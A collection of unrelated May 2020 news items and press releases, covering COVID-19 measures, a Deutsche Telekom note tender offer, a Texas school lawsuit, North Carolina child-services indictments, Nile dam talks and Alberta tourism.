When travelling to malaria-prone places, I opt instead for preventative measures to stop me from getting bitten in the first place. (In case you are wondering, my very general advice is: Use Deet spray at dawn and dusk when mosquitos are most active, wear long sleeves, long trousers and avoid stagnant pools of water.)

We are going to be hearing a lot about chloroquine and hydroxychloroquine in the coming weeks. Both are being trialled to determine whether they could be effective in preventing COVID-19.

But until we learn more from those trials, a world leader publicising drugs untested for COVID-19 seems irresponsible  something many doctors agree with.

But the president has made up his mind. He has become a clinical trial all of his own.

Meanwhile, real clinical trials to test the drugs continue.

These medicines are being used in the context of the ongoing pandemic for treating patients with COVID-19 and investigated in clinical trials, the European Medicines Agency, the EUs equivalent of the FDA, said. However, clinical data are still very limited and inconclusive and the beneficial effects of these medicines in COVID-19 have not been demonstrated.

My own experience with chloroquine was hideous, but that was my experience. I will be watching the trials closely. Let us see what science will discover.

Follow Imran Khan on Twitter @Ajimran
We have had to adapt to changing our way of providing meals and services to our residents thru this COVID-19 pandemic are grateful for the continued support of our community and our donors.  Traswell C. Livingston III, President and CEO

AIDS Services of Dallas (ASD) leadership teams have been working around the clock to stay on top of the evolving COVID-19 situation to ensure both excellent care, as well as community partners and visitor safety. Our main concern, as always, is the health and well-being of our residents and staff. In accordance to requests from the Dallas County Health and Human Services office, ASD has been providing on-going information to Staff to utilize as a guide for operations during the COVID-19 (Coronavirus) Pandemic.

Here are some of the things we have been implementing and will be continuing to implement to all of our residential facilities:

1. No visitors will be allowed on property thru June 1, 2020.

2. All meetings are being held remotely or via phone when possible.

3. Transportation - Transportation continues for essential use only. Recreational travel for miscellaneous shopping needs for our residents has ceased. Medical Transportation is continuing only for essential appointments relative to compliance and or urgent care.

4. Residential staff including Medical Case Managers, Housing based/Non-Medical Case Managers, Residential Coordinators and Maintenance are working under the guidance of their supervisors as necessary for coverage.

5. Client Service Assistant (CSA) and Personal Care Aides (PCAs) are continue their work flow as usual as possible. Scheduled sanitation has been increase to multiple times per shift.

6. Intake/Outreach and Vocational Coordination has been transformed to teleservice and zoom until further notice.

7. Food Service, specifially breakfast and lunch that is provided by ASD kitchen continues their work flow with routine sanitation occuring multiple times per shift. Meals are no longer being served in facility dining halls, but delivered to residents in the homes with the assistance of other ASD staff who are following strict guidelines including wearing masks and gloves.

Supper Clubs  All Supper Clubs (evening meal service) have received notification that no outside visitors are allowed on campus until further notice. Supper Clubs have been requested to have food delivered to the facilities in order to provide the residents meals. These meals are dropped off at the front doors/gates of the facilities and distributed to the apartments of the residents by ASD staff who are following strict guidelines including wearing masks and gloves.

8. Administrative Staff including CEO, COO, CFO, Development Director, Human Resources, I.T. Program Data Analyst, Accounting and Volunteer Coordinator are working. However, administrative office is closed to all outside visitors.

We continue to monitor the changes as they are reported and required and make updates needed.
BONN, Germany, May 22, 2020 /PRNewswire/ -- Deutsche Telekom AG and its wholly owned subsidiary Deutsche Telekom International Finance B.V. (the "Company") today announce the pricing of the previously announced offers (the "Offers") to purchase any and all of the Company's outstanding 1.950% Fixed Rate Notes due 2021 (the "2021 Notes") and 2.820% Fixed Rate Notes due 2022 (the "2022 Notes" and together with the 2021 Notes, the "Notes") guaranteed by Deutsche Telekom AG. The terms and conditions of the Offers are described in an offer to purchase dated May 18, 2020 (the "Offer to Purchase"). Terms not defined in this announcement have the meanings given to them in the Offer to Purchase.

The Company announces the pricing as set forth in the table below:

Title of Security CUSIP/ISIN (144A)/

CUSIP/ISIN (Reg S) Outstanding

Principal

Amount Reference

Treasury

Security Bloomberg

Page

Reference Fixed

Spread Tender

Consideration(1) 1.950% Fixed Rate

Notes due 2021 25156PAU7/US25156PAU75

N27915AJ1/USN27915AJ12 $1,000,000,000 0.125% UST due

April 30, 2022 FIT1 50 bps $1,015.73













2.820% Fixed Rate

Notes due 2022 25156PAY9/US25156PAY97 N27915AQ5/USN27915AQ54 $1,000,000,000 0.125% UST due

April 30, 2022 FIT1 65 bps $1,031.11





(1) Per US$1,000 principal amount of Notes validly tendered and accepted for purchase. The Reference Yield and the Tender Consideration for each series of Notes were determined at 10:00 a.m., New York City time, on May 22, 2020, as described in the Offer to Purchase. The Tender Consideration was determined taking into account the par call date for each series of Notes, as described in the Offer to Purchase.

The Offers are being made upon the terms and subject to the conditions set forth in the Offer to Purchase, which is available to holders on https://www.gbsc-usa.com/telekom/ and through the information agent, Global Bondholder Services Corporation, by calling +1 (866) 470-3900 (toll free) or +1 212-430-3774 (for banks and brokers). The Offers will expire today at 5:00 p.m., New York City time, unless extended (such date and time, as may be extended, the "Expiration Time"). Tenders of Notes may be withdrawn on or prior to the Expiration Time, but, except as otherwise provided in the Offer to Purchase, not thereafter.

Holders must validly tender (and not validly withdraw) or deliver a properly completed and duly executed Notice of Guaranteed Delivery for their Notes at or before the Expiration Time in order to be eligible to receive the Tender Consideration. Holders will also receive accrued and unpaid interest on the Notes validly tendered and accepted for purchase from, and including, the immediately preceding interest payment date applicable to such Notes to, but excluding, the Settlement Date.

The Company expects to pay the Tender Consideration, together with any Accrued Interest, to the holders of Notes validly tendered at or prior to the Expiration Time and not validly withdrawn on May 26, 2020 (such date the "Settlement Date") and to the holders of Notes tendered through guaranteed delivery procedures on May 28, 2020 (such date the "Guaranteed Delivery Settlement Date"). No tenders submitted after the Expiration Time will be valid. Notes purchased pursuant to the Offers are expected to be cancelled.

The Offers are subject to the satisfaction or waiver of certain conditions, as specified in the Offer to Purchase. The Company reserves the right to terminate the Offers and, if any of the conditions are not satisfied, the Company will not be obligated to accept for payment, purchase or pay for, and may delay the acceptance for payment of, any tendered notes, in each event subject to applicable laws. The Offers are not conditioned on the tender of a minimum principal amount of Notes.

Further Information

Questions and requests for assistance in connection with the Offers may be directed to the Dealer Managers for the Offers:

The Dealer Managers for the Offers are:

RBC Capital Markets, LLC 200 Vesey Street, 8th Floor New York, NY 10281 United States of America Attn: Liability Management Group



U.S. Toll Free: (877) 381-2099 U.S. Collect: (212) 618-7843 London: +44 20 7029 0386 Email: [email protected] TD Securities (USA) LLC 31 West 52nd Street New York, NY 10019 United States of America Attn: Transaction Management Group



U.S. Toll-Free: 1-855-495-9846 U.S. Collect: 1-212-827-7381 E-mail: [email protected]

Questions and requests for assistance in connection with the tender of Notes including requests for a copy of the Offer to Purchase may be directed to:

THE INFORMATION AND TENDER AGENT

Global Bondholder Services Corporation

Email: [email protected]

Website: https://www.gbsc-usa.com/telekom/

By Facsimile (for Eligible Institutions only): +1 (212) 430-3775 or +1 (212) 430-3779

By Mail or Hand:

65 BroadwaySuite 404

New York, New York 10006



Banks and Brokers Call Collect: +1 (212) 430-3774

All Others, Please Call Toll-Free: +1 (866) 470-3900

Each Holder is solely responsible for making its own independent appraisal of all matters as such Holder deems appropriate (including those relating to the Offers) and each Holder must make its own decision as to whether to tender any or all of its Notes for purchase pursuant to the Offers.

None of the Dealer Managers, the Information and Tender Agent, Citibank, N.A. (the "Fiscal Agent") or any of their respective directors, officers, employees, agents or affiliates assumes any responsibility for the accuracy or completeness of the information concerning the Company, Deutsche Telekom AG, the Notes or the Offers contained in this announcement or in the Offer to Purchase. None of the Dealer Managers, the Information and Tender Agent, the Fiscal Agent or any of their respective directors, officers, employees, agents or affiliates is acting for any Holder, or will be responsible to any Holder for providing any protections which would be afforded to its clients or for providing advice in relation to the Offers, and accordingly none of the Dealer Managers, the Information and Tender Agent or any of their respective directors, officers, employees, agents or affiliates assumes any responsibility for any failure by the Company to disclose information with regard to itself, Deutsche Telekom AG, or the Notes which is material in the context of the Offers and which is not otherwise publicly available.

None of the Company, the Fiscal Agent, the Information and Tender Agent or the Dealer Managers makes any recommendation as to whether holders should tender all or any portion of their Notes pursuant to the Offers or, if they wish to submit a tender, as to the principal amount of Notes to tender. Each Holder must make his, her or its own decision as to whether to tender Notes and, if so, the principal amount of Notes to tender.

The Company will fund the Offers with cash resources available to the Company.

Disclaimer

This announcement must be read in conjunction with the Offer to Purchase. This announcement and the Offer to Purchase contain important information which should be read carefully before any decision is made with respect to the Offers. If any Holder is in any doubt as to the contents of this announcement or the Offer to Purchase or the action it should take, it is recommended to seek its own financial and legal advice, including in respect of any tax consequences, immediately from its stockbroker, bank manager, solicitor, accountant or other independent financial, tax or legal adviser.

Offer and Distribution Restrictions

Neither this announcement nor the Offer to Purchase constitutes an invitation to participate in the Offers in any jurisdiction in which, or to any person to or from whom, it is unlawful to make such invitation or for there to be such participation under applicable securities laws. The distribution of this announcement and the Offer to Purchase in certain jurisdictions may be restricted by law. Persons into whose possession either this announcement or the Offer to Purchase comes are required by each of the Company, Deutsche Telekom AG, the Fiscal Agent, the Dealer Managers and the Information and Tender Agent to inform themselves about, and to observe, any such restrictions.

United Kingdom

The communication of the Offer to Purchase and any other documents or materials relating to the Offers is not being made, and such documents and/or materials have not been approved, by an authorized person for the purposes of section 21 of the Financial Services and Markets Act 2000, as amended. Accordingly, such documents and/or materials are not being distributed to, and must not be passed on to, the general public in the United Kingdom. The communication of such documents and/or materials as a financial promotion is only being made to, and may only be acted upon by, those persons in the United Kingdom falling within the definition of investment professionals (as defined in Article 19(5) of the Financial Services and Markets Act 2000 (Financial Promotion) Order 2005 (the "Financial Promotion Order")) or persons who are within Article 43 of the Financial Promotion Order or any other persons to whom it may otherwise lawfully be made under the Financial Promotion Order (together, for the purpose of the paragraph, "relevant persons"). Any investment or investment activity to which the Offer to Purchase relates is available only to relevant persons and will be engaged in only with relevant persons (and is subject to other restrictions referred to in the Financial Promotion Order).

France

The Offers are not being made, directly or indirectly, to the public in the Republic of France ("France"). Neither the Offer to Purchase nor any other document or material relating to the Offers have been or shall be distributed to the public in France and only (i) providers of investment services relating to portfolio management for the account of third parties (personnes fournissant le service d'investissement de gestion de portefeuille pour compte de tiers) and/or (ii) qualified investors (investisseurs qualifies), other than individuals, acting for their own account, all as defined in, and in accordance with, Articles L.411-1, L.411-2 and D.411-1 of the French Code monetaire et financier, are eligible to participate in the Offers. The Offer to Purchase has not been and will not be submitted for clearance to nor approved by the Autorite des Marches Financiers.

Italy

None of the Offers, the Offer to Purchase or any other documents or materials relating to the Offers have been or will be submitted to the clearance procedures of the Commissione Nazionale per le Societa e la Borsa ("CONSOB") pursuant to Italian laws and regulations. The Offers are being carried out in the Republic of Italy ("Italy") as exempted offers pursuant to article 101-bis, paragraph 3-bis of the Legislative Decree No. 58 of 24 February 1998, as amended (the "Financial Services Act") and article 35-bis, paragraph 4 of CONSOB Regulation No. 11971 of 14 May 1999, as amended. Holders or beneficial owners of the Notes that are located in Italy may tender their Notes in the Offers through authorized persons (such as investment firms, banks or financial intermediaries permitted to conduct such activities in Italy in accordance with the Financial Services Act, CONSOB Regulation No. 20307 of February 13, 2018, as amended from time to time, and Legislative Decree No. 385 of September 1, 1993, as amended) and in compliance with applicable laws and regulations or with requirements imposed by CONSOB or any other Italian authority.

Each intermediary must comply with the applicable laws and regulations concerning information duties vis-a-vis its clients in connection with the Notes and/or the Offers.

Belgium

Neither the Offer to Purchase nor any other documents or materials relating to the Offers have been submitted to or will be submitted for approval or recognition to the Belgian Financial Services and Markets Authority (Autoriteit voor financiele diensten en markten / Autorite des services et marches financiers) and, accordingly, the Offers may not be made in Belgium by way of a public offering, as defined in Articles 3 and 6 of the Belgian Law of April 1, 2007 on public takeover bids as amended or replaced from time to time. Accordingly, the Offers may not be advertised and the Offers will not be extended, and neither the Offer to Purchase nor any other documents or materials relating to the Offers (including any memorandum, information circular, brochure or any similar documents) has been or shall be distributed or made available, directly or indirectly, to any person in Belgium other than "qualified investors" in the sense of Article 10 of the Belgian Law of June 16, 2006 on the public offer of placement instruments and the admission to trading of placement instruments on regulated markets, acting on their own account. Insofar as Belgium is concerned, the Offer to Purchase has been issued only for the personal use of the above qualified investors and exclusively for the purpose of the Offers. Accordingly, the information contained in the Offer to Purchase may not be used for any other purpose or disclosed to any other person in Belgium.

General

The Offer to Purchase does not constitute an offer to buy or the solicitation of an offer to sell Notes (and tenders of Notes in the Offers will not be accepted from Holders) in any circumstances in which such offer or solicitation is unlawful. In those jurisdictions where the securities, blue sky or other laws require the Offers to be made by a licensed broker or dealer and the Dealer Managers or any of their respective affiliates is such a licensed broker or dealer in any such jurisdiction, the Offers shall be deemed to be made by the Dealer Manager or such affiliate, as the case may be, on behalf of the Company in such jurisdiction.

Each Holder participating in the Offers will also be deemed to give certain representations in respect of the other jurisdictions referred to above and generally as set out in the Offer to Purchase. Any tender of Notes for purchase pursuant to the Offers from a Holder that is unable to make these representations will not be accepted. Each of the Company, the Dealer Managers and the Information and Tender Agent reserves the right, in its absolute discretion, to investigate, in relation to any tender of Notes for purchase pursuant to the Offers, whether any such representation given by a Holder is correct and, if such investigation is undertaken and as a result the Company determines (for any reason) that such representation is not correct, such tender shall not be accepted.

About Deutsche Telekom International Finance B.V.

The Company is a Dutch limited liability company whose registered address is Stationsplein 8-K, 6221 BT Maastricht, the Netherlands. It is a wholly owned subsidiary of Deutsche Telekom AG.

Forward-looking statements

This announcement, the Offer to Purchase and the documents incorporated by reference therein contain forward-looking statements that reflect the current views of Deutsche Telekom AG's management with respect to future events. They are generally identified by the words "expect," "anticipate," "believe," "intend," "estimate," "aim," "goal," "plan," "will," "seek," "outlook," or similar expressions and include generally any information that relates to expectations or targets for revenue, adjusted EBITDA, adjusted EBITDA AL or other performance measures. Forward-looking statements are based on current plans, estimates, and projections. You should consider them with caution. Such statements are subject to risks and uncertainties, most of which are difficult to predict and are generally beyond Deutsche Telekom AG's control. They include, for instance, the progress of Deutsche Telekom AG's staff-related restructuring measures and the impact of other significant strategic or business initiatives, including acquisitions, dispositions, and business combinations. In addition, movements in exchange rates and interest rates, regulatory rulings, stronger than expected competition, technological change, litigation, and regulatory developments, among other factors, may have a material adverse effect on costs and revenue development. If these or other risks and uncertainties materialize, or if the assumptions underlying any of these statements prove incorrect, Deutsche Telekom AG's actual results may be materially different from those expressed or implied by such statements. Deutsche Telekom AG can offer no assurance that its expectations or targets will be achieved. Without prejudice to existing obligations under capital market law, Deutsche Telekom AG does not assume any obligation to update forward-looking statements to account for new information or future events or anything else.

SOURCE Deutsche Telekom AG
A former principal of Metzger Middle School in the Judson Independent School District has sued in state district court over her 2016 firing, adding fresh arguments to an earlier lawsuit that she lost and is now appealing.

Judson ISD trustees voted not to renew Caroline Ross contract after holding a hearing on the same June 2016 night they decided against naming the districts new high school after former Superintendent Willis Mackey  a polarizing leader whose supporters and detractors openly accused each other of racism.

Ross, who described Mackey as a friend and mentor, first sued the school district in 2017 to argue her firing was the result of race, sex and age discrimination and retaliation for supporting Mackey. Ross and Mackey are both African-American.

That case was moved to federal court, where it was dismissed in December, but Ross has appealed to the U.S. 5th Circuit Court of Appeals in New Orleans.

The school district said Ross was let go for other reasons  that she directed her secretary to sign checks for her and lie to investigators about it; had the secretary run personal errands for her during the work day; kept alcohol on school property; appeared drunk on stage at an eighth-grade graduation; charged students for district-funded composition books and events; charged employees for the right to wear jeans and worked on an outside film project during her employment hours.

Ross denied those allegations and requested a Texas Education Agency hearing to challenge her firing. Mike Morath, the state education commissioner, in August 2016 validated Judsons claims and upheld the districts decision.

Ross worked for Judson ISD for 19 years as an assistant principal and principal. In her initial lawsuit, she praised Mackey and presented a long list of white or Hispanic school administrators who were not fired after misconduct accusations. She said the non-renewal of her contract was the result of collusion between scorned employees still upset about Mackeys decision to demote a Hispanic assistant superintendent and a board with a shocking disregard and clear prejudice against African Americans.

The racial hostilities being generated against President Obama nationally by small pockets of racial partisans seemed to be reflected in the campaign started in JISD against Mackey and after his departure against Ms. Ross, one of Ross court filings states.

Ross said she received high ratings in employee evaluations and Mackey chose her to turn around Metzger Middle, a then-failing school which Ross claims credit for improving.

The district, in court documents, denied all allegations of discrimination and constitutional violations.

Larry Watts, a Missouri City attorney, is representing Ross. Walsh Gallegos Trevino Russo & Kyle, a San Antonio firm, is representing Judson ISD.

In her new lawsuit, filed May 15, Ross asked the 285th District Court to void her contracts non-renewal, hold an evidentiary hearing and then reinstate her pending a trial. She also asked to be paid court costs and attorneys fees.

The suit said the Judson board did not consider Ross most recent performance evaluation before voting not to renew her contract and that Ross was deprived of due process rights in a board hearing. It also said Judsons attorneys had a conflict of interest because they belonged to an organization of lawyers who represent Texas school districts, the Texas Council of School Attorneys.

The networking and professional development group is run by the Texas Association of School Boards. The suit called the group a cleansed and closed ideological society.

School districts and conservative political figures are generally hostile to full due process, the suit said, adding the attorneys as school lawyer paladins...fed from the same money-pot in a position of conflict with the interest of the school district under the Constitutions.

Alia Malik covers several school districts and the University of Texas at San Antonio. To read more from Alia, become a subscriber. amalik@express-news.net | Twitter: @AliaAtSAEN
General Secretary of the opposition National Democratic Congress, Johnson Asiedu Nketia has disclosed that two of his children lost their jobs because of his political stance.



Mr Asiedu Nketia said his son was thrown out of his job and has been unemployed for the past three years as a result of political victimization. According to Mr. Asiedu Nketia, his son who was working with a private firm at the habour was made to resign because his resignation was the only assurance that the firms license will be secured. My son is out of work. he happened to be working with a private company at the harbor. Now that private company operates with a government licence, then the management of the GPHA squeezed that private company and insisted that until my son is sacked, the licence will be withdrawn so my son had to be sacked, he said on the AM show.



He further disclosed that his daughter has suffered a silmilar fate because she refused to implicate another person in the name of politics. My daughter was also working with another government institution involved in auditing. Because of my childrens moral upbringing, they are very strict when it comes to speaking the truth and remaining with the facts.



So she happened to be working with the Internal Audit Department of a government institution. She was sent on an assignment and given instructions to find something to implicate an innocent person for political reasons and she said she cannot do it. So she refused to do it and when she came back from the assignment, they had taken her from one head office to some district branch in Greater Accra and when she went there the manager [at the district branch] said there is no desk for you, Mr Asiedu added.



Mr Asiedu Nketia, popularly known as General Mosquito has been the General Secretary of the opposition NDC, from 2005 to date.



Although he described the incident as unfortunate, he stated that his children have suffered political victimization because of his commitment to his party.







Source: myjoyonline.com









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Connecticut is one of 29 states that do not meet guidelines for reopening as advised by the World Health Organization, according to an analysis from Johns Hopkins University.

For governments to safely reopen, the percentage of total COVID-19 tests that return positive should be at or below 5 percent for 14 consecutive days, according to the WHO.

The analysis from Johns Hopkins University puts the percentage of total coronavirus tests that are positive in Connecticut at 7.04 percent as of Friday morning, close to but not at or below the WHOs guidelines.

Gov. Lamont laid out strict criteria for reopening our states economy in a deliberate and phased way and those have been achieved over the course of the past month, said administration spokesman Max Reiss. As a matter of fact, Connecticut was among the last states in the country to ease restrictions, while simultaneously doubling capacity.

The WHO was just one organization that laid out suggested benchmarks to reopen economies. The White House recommended only a downward trajectory of COVID- and influenza-like illness.

The Centers for Disease Control was more specific in its recommended guidelines. To begin relaxing restrictions on businesses the CDC said the percentage of positive tests should be less than 20 percent for 14 days.

Connecticut is one of 29 states that do not meet the WHOs criteria, according to the Johns Hopkins data. At the top of the list is Maryland, where 18.26 percent of total coronavirus tests came back as positive as of Friday.

Of those 29 states, Connecticut is ninth with a lower percentage of positive tests in Texas, Arkansas, Louisiana, New York, North Dakota, Ohio, Wisconsin and North Carolina.

The percentage of total tests was not part of the governors criteria for reopening, as he said at the end of April. The states ReOpen Advisory Group laid out guidelines including a 14-day decline of hospitalizations and 42,000 coronavirus tests per week, among other benchmarks.

A low rate of positivity in testing data can be seen as a sign that a state has sufficient testing capacity for the size of their outbreak and is testing enough of its population to make informed decisions about reopening, according to Johns Hopkins University researchers.

Reiss said the administration has been prudent, and that the state will be closely monitoring all metrics to ensure we can mitigate the spread of COVID-19 in the interest of public health, while also weighing the economic effects of this pandemic.
Source: Xinhua| 2020-05-22 19:44:58|Editor: huaxia

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CAIRO, May 22 (Xinhua) -- Egypt said it is willing to resume negotiations with Sudan and Ethiopia over the filling of the controversial Grand Ethiopian Renaissance Dam (GERD), state-run Ahram newspapers reported on Friday.

"Egypt is always ready to enter into negotiations and participate in upcoming meetings between the ministers of irrigations of the three countries," the Egyptian foreign ministry said in a statement.

It added that "serious and constructive talks would contribute to a fair, balanced, and comprehensive agreement."

The ministry said the agreement would have to take into account "Egypt's water interests as well as those of Ethiopia and Sudan."

The statement came after the announcement on Thursday by Khartoum and Addis Ababa "to resume technical discussions about the filling and operation of the dam."

On Thursday, Prime Minister of Sudan Abdalla Hamdok and Prime Minister of Ethiopia Abiy Ahmed held an online meeting and agreed to resume the talks in order to reach a final agreement on the filling and operation policies of the GERD.

The meeting came after Addis Ababa said it would not delay filling the GERD, which it began constructing in 2011.

Both Egypt and Sudan fear the reservoir, which has a capacity of 74 billion cubic meters, will impact their essential water supplies.

Hamdok and Abiy's talks were the first after a diplomatic spat that broke out between Egypt and Ethiopia reached the United Nations Security Council.

The negotiations between the three countries reached a deadlock last February after Ethiopia skipped the final round of talks in Washington. Enditem
CPS workers arrested, charged for removing kids from parents without court oversight

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Three current and former employees of a child services agency in North Carolina were arrested this week and indicted with over three dozen felony and misdemeanor charges related to its alleged practice of separating children from their families without proper judicial oversight.

Carolina Public Press reports that among the former and current workers arrested on Monday was Cindy Palmer, the former director of the Cherokee County Department of Social Services and wife of Cherokee County Sheriff Derrick Palmer.

The other two are former Child Protective Unit supervisor David Huges and former agency attorney Scott Lindsay.

The indictment follows two years of investigations and legal action from parents who said their children were unlawfully removed from their homes by the agencys use of coercion.

According to the independent news outlet, the practice of removing children from homes without judicial oversight is said to have occurred in the county for over a decade before the state intervened in 2017.

Palmer and Hughes were booked within minutes of each other at the Cherokee County Detention Center while Lindsay was booked on Tuesday. Palmer was released on an $8,000 bond, while Hughes was let go on a $12,500 bond and Lindsay was released on a $25,000 bond.

In total, grand jurors indicted the three accused on 41 charges that will be prosecuted by the state attorney generals office. However, investigations did not cover all allegations against the department and there could be more charges pressed down the road.

Palmer, who served as a business officer for the department after her 2018 resignation as director, faces two felony obstruction of justice charges for allowing social workers to use controversial forms called custody and visitation agreements during 2016 and 2017. The forms essentially let agents remove children without court participation in the process.

According to her indictment, the use of the agreements avoided judicial oversight into the activities of Cherokee County DSS and subverted the statutory process for determining abuse and neglect of children, and determining custody and parental rights.

This offense was done in secrecy and with malice; with deceit and intent to defraud; was infamous; and was done in violation of the common law, and against the peace and dignity of the state, the indictment contends.



Additionally, Palmer faces a charge of perjury that was allegedly committed during a 2018 court hearing in which she claimed to not recall anything about the custody and visitation agreements. However, Palmer is being held responsible for agreements dating back to 2016.

According to Carolina Public Press, Palmers attorneys came to her defense by saying that the agreements happened before she became the departments director and that she relied on the departments lawyer who she thought was following the law.

She adamantly denies ever acting with any sort of criminal intent, attorney Hart Miles wrote, according to Carolina Public Press. And she is confident that those in the community that know her understand that she is a dedicated public servant who has been wrongfully targeted in this investigation.

A Carolina Public Press investigation found evidence in 2019 that a massive number of documents at DSS were shredded around the same time Palmer assumed her new officer position after stepping down as director.

As the former attorney for the department, Lindsay faces 20 felony counts of obstruction of justice. Lindsay claimed when asked about the origin of the custody and visitation agreement that he received the form when he attended a class for attorneys in 2007 or 2010 and that the department started using the form in 2014.

According to the news outlet, Hughes had previously testified in 2018 that he was aware of around two dozen custody and visitation agreements that the department executed since he worked there.

A proposed class-action lawsuit brought by families against the county DSS is pending in federal court. The lawsuit contends that DSS employees coerced parents into signing the unlawful agreements and parent-child relationships were negatively impacted by the unlawful agreement.

The lead plaintiff in the case is a father who was granted custody of his daughter in 2016 but was later questioned by the DSS over concerns regarding his parental abilities.

After meeting with DSS officials in November 2016, officials allegedly threatened the father into signing the agreement to relinquish custody of his daughter to her paternal grandfather.

According to the lawsuit, the father was told that the agreement was in lieu of court action and that he would be subjected to adverse legal proceedings and other consequences if he did not sign the CVA.

Other false threatening and coercive statements that the lawsuit claims DSS officials made against the father as possible actions if he did not sign include: Your child will be adopted out and you will never see her again, and Your child will be placed in a location where you will have little or no contact with her.



Plaintiff Hogan was neither advised nor given an opportunity to contact independent legal counsel when confronted with and unlawfully pressured to sign the unlawful CVA, the lawsuit says. CCDSS never contacted Hogan's prior attorney regarding the meeting or the CVA.

The lawsuit argues that the county maintained a pattern of condoning improper, illegal, and unconstitutional techniques.

Defendants' actions caused Plaintiffs and Unnamed Class Members to be deprived of fundamental rights, particularly, a parental relationship with their biological children, in violation of substantive and procedural due process of the law and in violation of all Plaintiffs' equal protection rights, the lawsuit adds.

Across the United States, some courts have come down on other social services agencies that have unlawfully removed children from their parents or legal guardians.

In California last year, a mother was awarded $1.49 million in legal settlements against Orange County, Los Angeles County, and Childrens Hospital after the state removed her sons from her custody.

In Texas last December, a state judge ordered the Texas Department of Family and Protective Services to drop its five-month-long case after a 4-year-old child was removed from his parents home over allegations of medical abuse.
Before COVID-19, Alberta's tourism businesses brought in $8.9 billion in revenue, supported by 22,000 businesses and nearly 73,000 jobs in every corner of the province. Tourism was one of the most immediately and hardest-hit sectors. But as their businesses closed to travellers, many companies opened their hearts to their communitiesproviding new and innovative ways to connect and share Alberta's authentic experiences in breathtaking landscapes.

Throughout Tourism Week, Travel Alberta will be sharing stories of resilience, community pride, and engagement, exemplified by the businesses and organizations that comprise the province's tourism sector.

"Alberta's tourism industry has been faced with unprecedented challenges as a result of the COVID-19 pandemic, and we recognize there will be more challenges to overcome in the months and year ahead. Through it all, our tourism industry has proven to be caring, resilient and adaptive. Our government is committed to responding and providing immediate relief, relaunching and supporting the sector through recovery, and rebuilding and positioning it for long-term growth," said Tanya Fir, Minister of Economic Development, Trade and Tourism.

"I've never been so proud to work in the tourism industry as I am right now. From cities to stables, farms to foothills, lakes to forests, our partnersthe incredible people who work every day to showcase the beauty and wonder of our provincecontinue to make our communities, and our economies, prosper. While this summer and the foreseeable future will look very different for our industry, we will work together to restart and rebuild Alberta's visitor economy, safely and responsibly," said Shelley Grollmuss, Vice President, Industry Development, Travel Alberta.

Travel Alberta Tourism Week Activities

Travel Alberta is hosting five virtual events to connect industry partners and help them manage through the pandemic:

Connections LIVE Webinar: The Alberta (re)Bound Strategy: May 25 , 10:00 a.m. MST . Shelley Grollmuss , Vice President, Industry Development, and Karen Soyka , Vice President, Business Development, will introduce Travel Alberta's three-stage strategy to restart and rebuild the province's tourism sector. Register

, Vice President, Industry Development, and , Vice President, Business Development, will introduce Travel Alberta's three-stage strategy to restart and rebuild the province's tourism sector. Register

Connections LIVE Webinar: Team Alberta Messaging to Restart Tourism in Alberta : May 26 , 10:00 a.m. MST . Tannis Gaffney, Vice President, Global Consumer Marketing, will introduce Travel Alberta's latest promotional efforts. Attendees will get a preview of the creative ways we are encouraging Albertans to celebrate their province. Register

Tannis Gaffney, Vice President, Global Consumer Marketing, will introduce Travel Alberta's latest promotional efforts. Attendees will get a preview of the creative ways we are encouraging Albertans to celebrate their province. Register

Connections LIVE Webinar: Funding Programs for Tourism Businesses: May 27 , 10:00 a.m. MST . Shelley Grollmuss, Vice President, Industry Development, will outline new funding mechanisms available for tourism businesses, and how to apply. Register

Shelley Grollmuss, Vice President, Industry Development, will outline new funding mechanisms available for tourism businesses, and how to apply. Register

Connections LIVE May 28 webinar: Alberta's Economy in a COVID-19 World: May 28 , 10:00 a.m. MST . Todd Hirsch, Vice President and Chief Economist, ATB Financial, will explore the impacts of the pandemic on tourism, and highlight potential bright spots as our economy adjusts to new realities. Register

Todd Hirsch, Vice President and Chief Economist, ATB Financial, will explore the impacts of the pandemic on tourism, and highlight potential bright spots as our economy adjusts to new realities. Register

Alberta Tourism Town Hall: May 28 , 1:00 p.m. MST . Learn how Travel Alberta, the Tourism Industry Association of Alberta , the Tourism Industry Association of Canada , Destination Canada, and the Indigenous Tourism Association of Canada are working together to support the province's, and the country's, tourism businesses

Media are invited to attend or connect with a Travel Alberta representative following the event. Register

. Learn how Travel Alberta, the Tourism Industry Association of , the Tourism Industry Association of , Destination Canada, and the Indigenous Tourism Association of are working together to support the province's, and the country's, tourism businesses Register Sharing inspiring stories from partners around the province. Throughout Tourism Week, Travel Alberta will showcase Alberta tourism organizations and businesses that have been doing differently in response to the pandemic

Throughout Tourism Week, Travel Alberta will showcase tourism organizations and businesses that have been doing differently in response to the pandemic Video: Tourism partners on the value of Alberta tourism and how we will rebuild. Here is a sneak peek. Watch our social channels for a wrap-up video to be released during Tourism Week: @TravelAlbertaCo and Travel Alberta on LinkedIn

Visit the Travel Alberta Industry Hub for more information about how Travel Alberta is connecting with partners throughout Tourism Weekincluding a social media toolkit to join the conversation.

Click here for photos or video clips of Alberta's breathtaking landscapes for your stories.

About Travel Alberta

Travel Alberta is the destination development and promotion organization of the Government of Alberta. We promote Alberta as a desirable place to travel, work, live, play, invest and learn. Working with businesses throughout the province, we capitalize on Alberta's breathtaking landscapes and world-class hospitality to develop memorable experiences for visitors to enjoy, in all regions, in all seasons. Our work directly and indirectly benefits our province, driving visitation and revenue, diversifying the economy, providing jobs, encouraging economic investment and enhancing quality of life for Albertans and their communities.

Established as a Crown corporation on April 1, 2009, we operate under the authority of the Travel Alberta Act within the Ministry of Economic Development, Trade and Tourism.

To learn more about Travel Alberta's strategy and programs visit industry.travelalberta.com.

@TravelAlbertaCo

Travel Alberta on LinkedIn

#TourismWorks

SOURCE Travel Alberta

For further information: Media contact: Danielle Vlemmiks, Director, Stakeholder Engagement, E [email protected] C: 403-966-8903

Related Links

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New Delhi: China's annual Parliament session commenced on Friday (May 22) at the Great Hall of People in Beijing amid coronavirus pandemic that has claimed 4,634 lives in the Communist nation where the deadly virus emerged in December 2019.

The Communist Party of China, generally, sets the year-long agenda at this meeting, but due to the coronavirus crisis, the summit is happening two months late as it was earlier scheduled in March. The meet is reportedly organised in a hurry to tell the world that everything is normal in China. Prior to the meeting, five big points have emerged that you should know.

The first point is that China has declared victory over the coronavirus; Secondly, China is all set to introduce a new law to control Hong Kong; Third is that China will not set any GDP target for this financial year; Fourth is related to China's increased defense budget; while the Fifth decision is to hike its expenditure to save the economy.

All these announcements are simply to convey the message that the Communist Party in China is all-powerful and that COVID-19 has failed to make any difference. Further analysis is to understand the agenda of Chinese President Xi Jinping.

